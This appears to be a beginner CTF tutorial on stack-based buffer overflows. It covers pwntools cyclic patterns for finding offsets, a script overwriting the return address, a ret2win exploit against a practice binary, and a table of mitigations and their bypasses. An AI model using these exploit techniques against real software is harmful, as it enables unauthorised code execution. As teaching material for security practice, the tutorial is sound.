intermediatecat/pwn~2 min read

Buffer Overflow Basics

How stack-based buffer overflows work, how to find the offset, and how to control the instruction pointer.

The bug

A buffer overflow happens when a program writes more data into a fixed-size buffer than it allocated. On the stack, the buffer sits next to the saved return address. Overflow far enough and you overwrite where the function returns — you control execution.

LOW ADDRESS
|  local_buf[64]  |  <- your input goes here
|  saved rbp      |
|  return address |  <- overwrite this → code execution
HIGH ADDRESS

Finding the offset

You need to know exactly how many bytes overwrite the return address.

Method 1 — cyclic pattern:

from pwn import *

# Generate a 200-byte De Bruijn sequence
pattern = cyclic(200)

# Feed it to the binary, capture the crash address in GDB
# Then:
offset = cyclic_find(0x6161616c)   # the 4-byte value in rip/eip at crash
print(offset)

Method 2 — manual: use python3 -c "print('A'*64 + 'B'*8 + 'C'*8)" and watch which register fills with CCCCCCCC.

Controlling rip

Once you know the offset, overwrite the return address with any value:

from pwn import *

io = process("./vuln")
offset = 72          # bytes until return address

payload = b"A" * offset
payload += p64(0xdeadbeef)   # little-endian 8-byte address

io.sendline(payload)
io.interactive()

Ret2win — the beginner pattern

Many CTF challenges have a win() function that prints the flag but is never called. Your job: overwrite the return address with win()’s address.

elf = ELF("./vuln")
win_addr = elf.symbols['win']

payload = b"A" * offset + p64(win_addr)
io.sendline(payload)
print(io.recvall())

Mitigations you may encounter

Mitigation Check Bypass
NX (non-executable stack) checksec ./vuln ROP chains
Stack canary checksec ./vuln Leak canary first
PIE checksec ./vuln Leak base address
ASLR /proc/sys/kernel/randomize_va_space Info leak or ret2plt

Beginner challenges usually have all mitigations off. Run checksec first to confirm what you’re dealing with.